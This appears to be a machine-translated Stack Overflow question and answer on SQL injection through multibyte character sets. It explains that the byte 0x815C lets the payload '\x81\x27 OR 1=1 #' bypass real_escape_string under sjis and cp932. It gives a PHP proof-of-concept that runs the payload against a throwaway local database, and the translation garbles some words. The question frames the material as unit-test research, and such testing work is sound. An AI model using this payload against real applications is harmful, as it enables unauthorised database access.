如何使用Shift-JIS和CP932创buildSQL注入攻击?
我正在写一些unit testing,以确保我的代码不容易在各种字符集下的SQL注入。
根据这个答案 ,您可以通过使用以下字符集之一注入\xbf\x27
来创build漏洞: big5
, cp932
, gb2312
, gbk
和sjis
这是因为如果您的助手configuration不正确,它会看到0x27
并尝试转义它,使其成为\xbf\x5c\x27
。 但是, \xbf\x5c
实际上是这些字符\xbf\x5c
的一个字符,因此引号( 0x27
) \xbf\x5c
转义。
但是,正如我通过testing发现的,这不完全正确。 它适用于big5
, gb2312
和gbk
但在sjis
和cp932
都不是0xbf27
或cp932
。
都
mb_strpos("abc\xbf\x27def","'",0,'sjis')
和
mb_strpos("abc\xbf\x27def","'",0,'cp932')
返回4
。 即PHP不会将\xbf\x27
看作单个字符。 这将返回false
为big5
, gb2312
和gbk
。
另外,这个:
mb_strlen("\xbf\x5c",'sjis')
返回2
(它为gbk
返回1
)。
所以,问题是:是否有另一个字符序列,使sjis
和cp932
容易受到SQL注入,或者他们实际上不是脆弱的? 或者说是PHP说谎,我完全错了,MySQL会完全不同的解释?
魔鬼是在细节…让我们开始讨论如何回答有关易受攻击的字符集列表:
为了使这种攻击起作用,我们需要服务器在连接上预期的编码
'
如ASCII码0x27
,最后一个字节是ASCII码,即0x5c
。 事实certificate,MySQL 5.6默认支持5种这样的编码:big5
,cp932
,gb2312
,gbk
和sjis
。 我们将在这里selectgbk
。
这给了我们一些上下文 – 0xbf5c
被用作gbk
一个例子,而不是所有5个字符集的通用字符。
恰恰相同的是,相同的字节序列也是big5
和gb2312
下的有效字符。
在这一点上,你的问题变得如此简单:
哪个字节序列是
cp932
和sjis
下的有效字符,结束于0x5c
?
公平的说,我为这些字符集尝试的大多数谷歌search没有给出任何有用的结果。 但是我find了这个CP932.TXT文件 ,其中如果你search'5c '
(有空格),你会跳到这一行:
0x815C 0x2015 #HORIZONTAL BAR
我们有一个赢家! 🙂
有些Oracle文档确认0x815c
对于cp932
和sjis
0x815c
是相同的字符,PHP也可以识别它:
php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis")); int(1) int(1)
这是一个攻击的PoC脚本:
<?php $username = 'username'; $password = 'password'; $mysqli = new mysqli('localhost', $username, $password); foreach (array('cp932', 'sjis') as $charset) { $mysqli->query("SET NAMES {$charset}"); $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}"); $mysqli->query("USE {$charset}_db"); $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)"); $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')"); $input = "\x81\x27 OR 1=1 #"; $input = $mysqli->real_escape_string($input); $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1"; $result = $mysqli->query($query); if ($result->num_rows > 1) { echo "{$charset} exploit successful!\n"; } $mysqli->query("DROP DATABASE {$charset}_db"); }